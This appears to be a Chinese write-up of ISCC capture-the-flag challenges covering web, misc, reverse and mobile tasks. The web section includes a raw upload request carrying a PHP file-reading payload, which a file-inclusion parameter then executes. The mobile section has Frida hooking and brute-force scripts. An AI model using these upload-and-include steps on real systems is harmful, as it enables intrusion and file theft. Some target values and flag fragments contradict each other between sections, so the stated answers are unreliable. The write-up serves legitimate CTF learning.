Web
战胜卞相壹

其实感觉有点脑洞这道题,我们先了解一下卞相壹:

在搜索的同时开一个文件扫描,扫一下:

出题人不算严谨,Dockerfile和docker-compose.yml都一并打包并没有删除。
但是都没有什么信息,我们主要看robots.txt

这题脑洞的地方来了:

很好,花花肠子不少
我能说我是百度了XXX完胜卞相壹才知道2:0吗?

很明显,百度不管你搜前几页基本上没有什么xx战胜卞相壹什么的消息。目前我不清楚为什么要访问的是f12g.txt。


这里flag的0也要换成2:
1 2 3 4
| import requests
url = "http://112.126.73.173:49100/f12g.txt" print(requests.get(url).text.replace('0', '2'))
|
纸嫁衣6外传

查看Dockerfile文件

根据Dockerfile文件的内容可知,其启用了Apache rewrite模块,也就是说支持无.php后缀
并且配置了AllowOverride。

我们此时先看首页内容,其提示我们includes/这个目录下会有文件
于是:
1
| dirsearch -u http://112.126.73.173:49102/includes/
|

提示回到最初的镜子前,使用Get提交一个锤子。

使用chuizi=xx,页面内容改变

一个文件包含,但是有点抽象
写文件包含内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| POST /upload HTTP/1.1
Host: 112.126.73.173:49102
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK0a3AmPUU2iVg3Bw
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Cache-Control: max-age=0
Origin: http://112.126.73.173:49102
Referer: http://112.126.73.173:49102/upload
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 206
------WebKitFormBoundaryK0a3AmPUU2iVg3Bw
Content-Disposition: form-data; name="file"; filename="xixi.txt"
Content-Type: text/plain
<?php highlight_file("php://filter/convert.base64-encode/resource=/var/www/html/includes/flag.php");?>
------WebKitFormBoundaryK0a3AmPUU2iVg3Bw--
|
执行后获得回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| GET /?chuizi=uploads/xixi.txt HTTP/1.1
Host: 112.126.73.173:49102
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| HTTP/1.1 200 OK
Date: Sat, 03 May 2025 07:58:29 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.1.32
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 4459
<code
><span style="color: #000000">
<span style="color: #0000BB"><?php <br />$ending </span
><span style="color: #007700">= </span
><span style="color: #DD0000"
>"奚月遥传过来的神器相当有用!肖驰成功通过它逃了出来!二人相拥时,肖驰激动地对奚月遥说:SVNDQ3tXM2xjMG0zX3QwX3BsQHlfWmgxSjFAWTF9"</span
><span style="color: #007700">; <br /></span
><span style="color: #0000BB">?> <br /></span>
<br /><!DOCTYPE html> <br /><html lang="zh-CN">
<br /><head>
<br /> <meta charset="UTF-8">
<br /> <title>镜花水月</title>
<br /> <style>
<br /> body {
<br /> background-color: #f7f4f1;
<br /> font-family: "宋体", serif;
<br /> color: #333;
<br /> text-align: center;
<br /> padding: 40px 20px;
<br /> }
<br /> img {
<br /> max-width: 80%;
<br /> height: auto;
<br /> margin-top: 30px;
<br /> border: 1px solid #ccc;
<br /> box-shadow: 0 0 15px rgba(0, 0, 0, 0.3);
<br /> }
<br /> .content {
<br /> font-size: 18px;
<br /> line-height: 1.8em;
<br /> margin-top: 30px;
<br /> }
<br /> h2 {
<br /> font-size: 24px;
<br /> margin-bottom: 10px;
<br /> }
<br /> .ending {
<br /> margin-top: 40px;
<br /> font-weight: bold;
<br /> font-size: 18px;
<br /> color: #9a2e2e;
<br /> }
<br /> </style> <br /></head>
<br /><body>
<br />
<br /> <h2>镜花水月……</h2>
<br /> <div class="content">
<br /> <p>奚月遥觉得这里应该有什么才对,为什么会没有呢?</p>
<br /> <p>她忽然想到,她应该回到最初的镜子前,</p>
<br /> <p>也许她该 <strong>get</strong> 一把“锤子”,一击打碎它……</p>
<br /> </div>
<br />
<br /> <img src="../src/whereIsFlag.jpg" alt="她想起了什么……">
<br />
<br /></body> <br /></html> <br
/></span>
</code>
|

Misc
书法大师


图片属性值中有备注


文件尾附加

foremost分离

压缩包密码是L9k8JhGfDsA

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from strokes import strokes import base64
text = "生工 石色 太摔 少比 边乙 *****************" pairs = text.split()
base = "" for pair in pairs: combined_hex = '0x' + hex(strokes(pair)[0])[2:] + hex(strokes(pair)[1])[2:] combined_str = bytes.fromhex(combined_hex[2:]).decode('utf-8') base += combined_str
try: decoded_bytes = base64.b64decode(base.encode('utf-8')) decoded_text = decoded_bytes.decode('utf-8') print(decoded_text) except Exception as e: print(f"解码过程中出现错误: {e}")
|
Reverse
我爱看小品

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
import mypy, yourpy
def something(): print(" 打工奇遇") print("宫室长悬陇水声") print("廷陵刻此侈宠光") print("玉池生肥咽不彻") print("液枯自断仙无分") print("酒醒玉山来映人")
def check(): your_input = input() if your_input[None[:5]] == "ISCC{" and your_input[-1] == "}": print("Come along, you'll find the answer!") else: print("Flag is wrong!")
if __name__ == "__main__": mypy.myfun() something() print("Please enter flag:") check()
|
SP

下载附件,使用x64dbg动调

使用DIE查看,发现UPX壳子。

使用x64dbg直接步进到输入flag的位置

随便输入一点内容,提示错误

右下角返回值有内容
1
| 000000000079FE18 0000000000B46960 "ISCC{Y#9LpXt!q@2m}"
|
这就是FLAG了,加了壳子,但是UPX是压缩壳,内存没有保护。
Mobile
三进制战争

安卓逆向,我们使用JEB进行逆向分析。

等待JEB处理

我们此时先看MainActivity,右键选择MainActivity,点击反编译。

这里就是验证逻辑,我们注意mobile02
的loadLibrary调用,也就是算法会在一个so库调用。
代码的主要逻辑如下:
输入 s:
- 要求 s.length()>13,且 s.startsWith(“ISCC{“),s.endsWith(“}”)
- 取 s5 = s.substring(5,11) (6 字符)要求 s5 == stringFromJNI(“6xY*08”) ←—— JNI1
- 取 s3 = s.substring(11, s.length()-1) (中间任意长度)
- 取 s2 = stringFromJN1() ←—— JNI0
- 计算 s4 = stringFromJNl(s2, s3) ←—— JNI2
要求 s4 == “022202010210020220010121000111022220”
stringFromJNI(String)(我们叫它 JNI1) 根据参数 "6xY\*08"
,在 native 里返回一个 6 字符串——这正是 flag 的第 6–11 位。
stringFromJN1()(JNI0) 返回一个固定的“密钥”字符串 s2。
stringFromJNl(String key, String body)(JNI2) 把 s2 当密钥、s3 当“密文”,输出一串数字(“022202…”),与 CHECK2 里写死的常量比对。
不可能单纯靠 Java 侧看到真实算法,因为关键在 native。
写一个frida脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| Java.perform(function(){ var Main = Java.use("com.example.mobile02.MainActivity"); Main.stringFromJN1.implementation = function(){ var k = this.stringFromJN1(); console.log(">>> JNI0 key = " + k); return k; }; Main.stringFromJNI.overload('java.lang.String').implementation = function(arg){ var out = this.stringFromJNI(arg); console.log(">>> JNI1(" + arg + ") = " + out); return out; }; Main.stringFromJNl.overload('java.lang.String','java.lang.String').implementation = function(k, body){ var out = this.stringFromJNl(k, body); console.log(">>> JNI2 decrypt with key="+k+" body="+body+" → " + out); return out; }; });
|
AS创建一个带Root的虚拟机:

系统需要选择Q x86的Android10.0(Google APIs)

将apk安装到模拟器中
1
| frida -U -f com.example.mobile02 -l 1.js
|

输入框随便输入一点ISCC{xxxxxxxxxxxxxx}

捕获到key(JNI2)和JNI1,%#e2re’RT
flag是ISCC{%#e2re’RT+S3}
我们看”022202010210020220010121000111022220”,这个内容是S3加密后的内容。
s3必须是6字符,为什么 s3 必须是 6 字符?
你用 body="YYYYY"
(5 字符)得到了 30 位输出
目标是 36 位 ⇒ 每多一个 s3 字符,多 6 位输出 ⇒ s3 长度 应该是 6。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| const TARGET = "012202000011011000000111001211021001"; const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+-="; let key;
Java.perform(function(){ const Main = Java.use("com.example.mobile02.MainActivity"); Main.stringFromJN1.implementation = function(){ key = this.stringFromJN1(); console.log("[*] key =", key); return key; }; Java.scheduleOnMainThread(()=>{ const activity = Java.use("com.example.mobile02.MainActivity").$new(); activity.stringFromJN1(); startBrute(); }); });
function startBrute(){ if(!key){ console.error("no key yet"); return; } const Main = Java.use("com.example.mobile02.MainActivity"); const inst = Main.$new();
let arr = CHARSET.split(""); let total = Math.pow(arr.length, 6), count=0; console.log(`[∗] brute total = ${total}`);
for(let i0=0;i0<arr.length;i0++){ for(let i1=0;i1<arr.length;i1++){ for(let i2=0;i2<arr.length;i2++){ for(let i3=0;i3<arr.length;i3++){ for(let i4=0;i4<arr.length;i4++){ for(let i5=0;i5<arr.length;i5++){ let s3 = arr[i0]+arr[i1]+arr[i2]+arr[i3]+arr[i4]+arr[i5]; let out = inst.stringFromJNl(key, s3); if(out === TARGET){ console.log("✅ found s3 =", s3); console.log("✅ FLAG = ISCC{%s%s}", "%CT'bb", s3); return; } if(++count % 1000000 === 0){ console.log("… tried", count); } } } } } } } console.log("❌ not found"); }
|
暴力破解后6位

得到最终flag。